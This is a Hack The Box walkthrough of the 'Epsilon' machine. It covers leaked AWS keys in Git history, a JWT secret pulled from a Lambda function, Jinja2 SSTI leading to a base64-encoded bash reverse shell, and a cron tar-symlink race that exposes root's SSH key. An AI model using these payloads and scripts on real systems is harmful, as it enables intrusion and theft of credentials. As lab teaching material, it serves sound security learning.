Epsilon

07 / 02 / 2022

10 minutes to read

Hack The Box. Linux. Medium machine. This machine contains a website that exposes Git repository with secrets in old commits. There is a website that needs a valid JWT token in order to exploit an SSTI vulnerability. The secret for the JWT tokens is stored in an AWS Lambda function. Then, there is a Cron job that can be exploited using symlinks to gain arbitrary read. Knowledge about Git, JWT, SSTI and AWS Lambda, as well as Cron job exploitation, is needed to compromise this machine

OS: Linux
Difficulty: Medium
IP Address: 10.10.11.134
Release: 07 / 02 / 2022

Port scanning

# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.134 -p 22,80,5000
Nmap scan report for 10.10.11.134
Host is up (0.045s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
| http-git:
|   10.10.11.134:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
# Nmap done -- 1 IP address (1 host up) scanned in 8.86 seconds

This machine has ports 22 (SSH), 80 (HTTP) and 5000 (HTTP) open.

Web enumeration

There is a website on port 5000. It looks like this:

Epsilon login

We can enumerate more routes but we cannot access them because we do not have valid credentials yet:

$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.134:5000/FUZZ  
home                    [Status: 302, Size: 208, Words: 21, Lines: 4]
order                   [Status: 302, Size: 208, Words: 21, Lines: 4]
track                   [Status: 200, Size: 4288, Words: 631, Lines: 234]
                        [Status: 200, Size: 3550, Words: 522, Lines: 205]

Git repository enumeration

The output of nmap unveiled that there is a Git repository exposed on port 80.

We may use some tool like git-dumper, but this time I used gitdumper.sh from GitTools:

$ bash gitdumper.sh http://10.10.11.134/.git/ ./epsilon_git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.  
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating ./epsilon/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/c6/22771686bd74c16ece91193d29f85b5f9ffa91
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3
[+] Downloaded: objects/c5/1441640fd25e9fba42725147595b5918eba0f1
[+] Downloaded: objects/b1/0dd06d56ac760efbbb5d254ea43bf9beb56d2d
[+] Downloaded: objects/ce/401ccecf421ff19bf43fafe8a60a0d0f0682d0
[+] Downloaded: objects/5c/52105750831385d4756111e1103957ac599d02
[+] Downloaded: objects/b5/f4c99c772eeb629e53d284275458d75ed9a010
[+] Downloaded: objects/ab/07f7cdc7f410b8c8f848ee5674ec550ecb61ca
[+] Downloaded: objects/cf/489a3776d2bf87ac32de4579e852a4dc116ce8
[+] Downloaded: objects/65/b80f62da28254f67f0bea392057fd7d2330e2d
[+] Downloaded: objects/df/dfa17ca5701b1dca5069b6c3f705a038f4361e
[+] Downloaded: objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630
[+] Downloaded: objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
[+] Downloaded: objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34

Now we should have a .git directory inside epsilon_git:

$ cd epsilon_git

$ ls -a
.                       ..                      .git

At this point we can extract the current code of the main branch using:

$ git checkout .

$ ls
server.py               track_api_CR_148.py

The file server.py contains a simple Flask application that corresponds to the website on port 5000:

#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = '<secret_key>'


def verify_jwt(token, key):
    try:
        username = jwt.decode(token, key, algorithms=['HS256'])['username']
        if username:
            return True
        else:
            return False
    except:
        return False


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        if request.form['username'] == 'admin' and request.form['password'] == 'admin':  
            res = make_response()
            username = request.form['username']
            token = jwt.encode({'username': 'admin'}, secret, algorithm='HS256')
            res.set_cookie('auth', token)
            res.headers['location'] = '/home'
            return res, 302
        else:
            return render_template('index.html')
    else:
        return render_template('index.html')


@app.route('/home')
def home():
    if verify_jwt(request.cookies.get('auth'), secret):
        return render_template('home.html')
    else:
        return redirect('/', code=302)


@app.route('/track', methods=['GET', 'POST'])
def track():
    if request.method == 'POST':
        if verify_jwt(request.cookies.get('auth'), secret):
            return render_template('track.html', message=True)
        else:
            return redirect('/', code=302)
    else:
        return render_template('track.html')


@app.route('/order', methods=['GET', 'POST'])
def order():
    if verify_jwt(request.cookies.get('auth'), secret):
        if request.method == 'POST':
            costume = request.form['costume']
            message = '''
            Your order of '{}' has been placed successfully.
            '''.format(costume)
            tmpl = render_template_string(message, costume=costume)
            return render_template('order.html', message=tmpl)
        else:
            return render_template('order.html')
    else:
        return redirect('/', code=302)


app.run(debug='true')

We see it is using some hard-coded credentials (admin:admin). However, they do not work. It seems that we will need to craft a JWT (JSON Web Token) token to access the website, but we do not have the secret key.

Moreover, we observe that there is a Server-Side Template Injection (SSTI) vulnerability in /order, because we can send costume as a body parameter and it is inserted into a text that will be directly rendered by Jinja2 (the default template engine for Flask), without any validation.

The file called track_api_CR_148.py contains some stuff for Amazon Web Services (particularly, AWS Lambda):

import io
import os
from zipfile import ZipFile
from boto3.session import Session


session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')


def files_to_zip(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            full_path = os.path.join(root, f)
            archive_name = full_path[len(path) + len(os.sep):]
            yield full_path, archive_name


def make_zip_file_bytes(path):
    buf = io.BytesIO()
    with ZipFile(buf, 'w') as z:
        for full_path, archive_name in files_to_zip(path=path):
            z.write(full_path, archive_name)
    return buf.getvalue()


def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))  
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))

Again, there are two keys that are not present in the code in order to configure AWS Lambda.

However, we have the Git repository. Maybe we can find previous commits:

$ git log
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)  
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 17:41:07 2021 +0000

    Fixed Typo

commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:02:59 2021 +0000

    Adding Costume Site

commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:58 2021 +0000

    Updatig Tracking API

commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:28 2021 +0000

    Adding Tracking API Module

Let’s see some differences using the commit identifiers (adding just the beginning of the hash is enough):

$ git diff b10dd06 c622771
diff --git a/track_api_CR_148.py b/track_api_CR_148.py  
index 545f6fe..8d3b52e 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -8,8 +8,8 @@ session = Session(
     aws_access_key_id='<aws_access_key_id>',
     aws_secret_access_key='<aws_secret_access_key>',
     region_name='us-east-1',
-    endpoint_url='http://cloud.epsilong.htb')
-aws_lambda = session.client('lambda')
+    endpoint_url='http://cloud.epsilon.htb')
+aws_lambda = session.client('lambda')

Ok, this is just a typo, although we can put cloud.epsilon.htb into /etc/hosts. Here is a more interesting difference:

$ git diff 7cf92a c514416
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index fed7ab9..545f6fe 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -5,8 +5,8 @@ from boto3.session import Session


 session = Session(
-    aws_access_key_id='AQLA5M37BDN6FJP76TDC',
-    aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',  
+    aws_access_key_id='<aws_access_key_id>',
+    aws_secret_access_key='<aws_secret_access_key>',
     region_name='us-east-1',
     endpoint_url='http://cloud.epsilong.htb')
 aws_lambda = session.client('lambda')

And here we have some hard-coded secrets to setup AWS Lambda. Using this, we can configure AWS CLI to interact with AWS Lambda and download the code for the function:

$ aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A  
Default region name [None]: us-east-1
Default output format [None]:

Then, we can list the functions that are deployed for cloud.epsilon.htb:

$ aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",  
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2022-02-14T23:01:58.240+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "d54a4387-53bc-49c5-a55c-c3bc5c8aed47",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
    ]
}

We see that costume_shop_v1 is the only function. Let’s examine it:

$ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1  
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2022-02-11T05:29:01.295+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "bf23b664-e576-4493-8578-9906b999b8cc",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}

The code is availbable at a given URL, in a ZIP file:

$ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code

$ file code
code: Zip archive data, at least v2.0 to extract, compression method=deflate  

$ unzip code
Archive:  code
  inflating: lambda_function.py

This is the source code for the deployed AWS Lambda function:

import json

secret = 'RrXCv`mrNe!K!4+5`wYq'  # apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id = event['queryStringParameters']['order_id']
        if id:
            return {
                'statusCode': 200,
                'body': json.dumps(str(resp))  # dynamodb tracking for CR-342  
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
            'statusCode': 500,
            'body': json.dumps('Invalid Order ID')
        }

And here we have the secret for the JWT implementation.

Foothold on the machine

Now we are able to craft a valid JWT token as follows:

>>> import jwt
>>> jwt.encode({'username': 'admin'}, 'RrXCv`mrNe!K!4+5`wYq', algorithm='HS256')
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg'

We can use this token as a cookie named auth to access to some more pages in the website:

Epsilon home

Epsilon order

However, we found an SSTI attack vector in /order, so let’s exploit it.

First of all, we must test that the SSTI works using a simple payload:

$ curl 10.10.11.134:5000/order -sd 'costume={{7*7}}&q=1337&addr=asdf' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg' | grep 49  
                        Your order of "49" has been placed successfully.

Since {{7*7}} is replaced by 49, the injection works. Now we can check PayloadsAllTheThings to take a Remote Code Execution (RCE) payload like this one:

{{ cycler.__init__.__globals__.os.popen('id').read() }}

But instead of using id as a command, we will execute a reverse shell encoding the command in Base64:

$ echo -n 'bash  -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64  
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx

Now we send the payload while we listen with nc:

$ curl 10.10.11.134:5000/order -sd 'costume={{cycler.__init__.__globals__.os.popen("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash").read()}}&q=1337&addr=asdf' -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg'

$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.134.
Ncat: Connection from 10.10.11.134:32940.
bash: cannot set terminal process group (996): Inappropriate ioctl for device  
bash: no job control in this shell
tom@epsilon:/var/www/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tom@epsilon:/var/www/app$ ^Z
zsh: suspended  ncat -nlvp 4444

$ stty raw -echo; fg
[1]  + continued  ncat -nlvp 4444
                                 reset xterm
tom@epsilon:/var/www/app$ export TERM=xterm
tom@epsilon:/var/www/app$ export SHELL=bash
tom@epsilon:/var/www/app$ stty rows 50 columns 158
tom@epsilon:/var/www/app$ cd
tom@epsilon:~$ cat user.txt
f331291fab610895dd18aefba73ffb2c

System enumeration

Basic enumeration tells us that there weird directory at /opt:

tom@epsilon:~$ ls -la --time-style=+ /opt  
total 16
drwxr-xr-x  4 root root 4096  .
drwxr-xr-x 19 root root 4096  ..
drwxr-xrwx  2 root root 4096  backups
drwx--x--x  4 root root 4096  containerd

We are able to write and read from this backups directory. Usually, backups are made periodically, so maybe we can find a script that is being run as a Cron job:

tom@epsilon:~$ find / -type f -name \*backup\* 2>/dev/null | grep -v python
/usr/share/man/man8/vgcfgbackup.8.gz
/usr/src/linux-headers-5.4.0-97-generic/include/config/wm831x/backup.h
/usr/src/linux-headers-5.4.0-97-generic/include/config/net/team/mode/activebackup.h
/usr/src/linux-headers-5.4.0-97/tools/testing/selftests/net/tcp_fastopen_backup_key.sh  
/usr/lib/x86_64-linux-gnu/open-vm-tools/plugins/vmsvc/libvmbackup.so
/usr/lib/modules/5.4.0-97-generic/kernel/drivers/power/supply/wm831x_backup.ko
/usr/lib/modules/5.4.0-97-generic/kernel/drivers/net/team/team_mode_activebackup.ko
/usr/bin/backup.sh
/sys/devices/virtual/net/veth3701941/brport/backup_port

There is a Bash script at /usr/bin/backup.sh that performs a periodic backup of /var/www/app:

#!/bin/bash

file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"  
/usr/bin/rm -rf /opt/backups/*

The vulnerability here is the use of -h for tar because it will follow symlinks and compress their contents. Using explainsh, we can see what each flag of the command does:

$ explainsh 'tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"'  

The GNU version of the tar archiving utility

-c, --create
      create a new archive

-h, --dereference
      follow symlinks; archive and dump the files they point to

-v, --verbose
      verbosely list files processed

-f, --file ARCHIVE
      use archive file or device ARCHIVE

tar [-] A --catenate --concatenate | c --create | d --diff --compare | --delete | r --append | t --list |
    --test-label | u --update | x --extract --get [options] [pathname ...]

http://manpages.ubuntu.com/manpages/precise/en/man1/tar.html

Privilege escalation

In order to exploit the Cron job, we will use /opt/backups/checksum to store a symlink to /root/.ssh. This must be configured after the first execution of tar (we will have 5 seconds). The second one uses -h, so the contents of /opt/backups/checksum -> /root/.ssh will be compressed and stored at /var/backups/web_backups/.

Although it can be done manually, I decided to use a custom Bash script:

tom@epsilon:~$ cd /tmp
tom@epsilon:/tmp$ vim privesc.sh

#!/usr/bin/env bash

while true; do
  if [ ! -z "$(ls /opt/backups)" ]; then
    echo '[*] First `tar` executed'
    break
  fi
done

rm -f /opt/backups/checksum
ln -sf /root/.ssh /opt/backups/checksum
echo '[+] Symlink created'

sleep 6
file=$(ls -la /var/backups/web_backups | tail -1 | awk '{ print $9 }')  
echo "[+] Found file: $file"

cp /var/backups/web_backups/$file /tmp
cd /tmp
tar -xvf $file

echo '[!] Symlink content'
ls opt/backups/checksum

echo '[!] `root` SSH key'
cat opt/backups/checksum/id_rsa

Basically, it waits until a new backup is stored in /opt/backups, then it creates the symlink and waits until the second backup is stored in /var/backups/web_backups. After that, we take the compressed file and extract its contents in order to read /root/.ssh/id_rsa:

tom@epsilon:/tmp$ bash privesc.sh
[*] First `tar` executed
[+] Symlink created
[+] Found file: 376776221.tar
opt/backups/checksum/
opt/backups/checksum/id_rsa
opt/backups/checksum/id_rsa.pub
opt/backups/checksum/authorized_keys
opt/backups/366066624.tar
[!] Symlink content
authorized_keys  id_rsa  id_rsa.pub
[!] `root` SSH key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn  
NhAAAAAwEAAQAAAYEA1w26V2ovmMpeSCDauNqlsPHLtTP8dI8HuQ4yGY3joZ9zT1NoeIdF
16L/79L3nSFwAXdmUtrCIZuBNjXmRBMzp6euQjUPB/65yK9w8pieXewbWZ6lX1l6wHNygr
QFacJOu4ju+vXI/BVB43mvqXXfgUQqmkY62gmImf4xhP4RWwHCOSU8nDJv2s2+isMeYIXE
SB8l1wWP9EiPo0NWlJ8WPe2nziSB68vZjQS5yxLRtQvkSvpHBqW90frHWlpG1eXVK8S9B0
1PuEoxQjS0fNASZ2zhG8TJ1XAamxT3YuOhX2K6ssH36WVYSLOF/2KDlZsbJyxwG0V8QkgF
u0DPZ0V8ckuh0o+Lm64PFXlSyOFcb/1SU/wwid4i9aYzhNOQOxDSPh2vmXxPDkB0/dLAO6
wBlOakYszruVLMkngP89QOKLIGasmzIU816KKufUdLSFczig96aVRxeFcVAHgi1ry1O7Tr
oCIJewhvsh8I/kemAhNHjwt3imGulUmlIw/s1cpdAAAFiAR4Z9EEeGfRAAAAB3NzaC1yc2
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BqhGglrHoh2JycJwAAAAxyb290QGVwc2lsb24BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Using this SSH private key, we can access to the machine as root:

$ ssh -i id_rsa root@10.10.11.134  
root@epsilon:~# cat root.txt
cf3d789a49b8c920c09142c741e00c34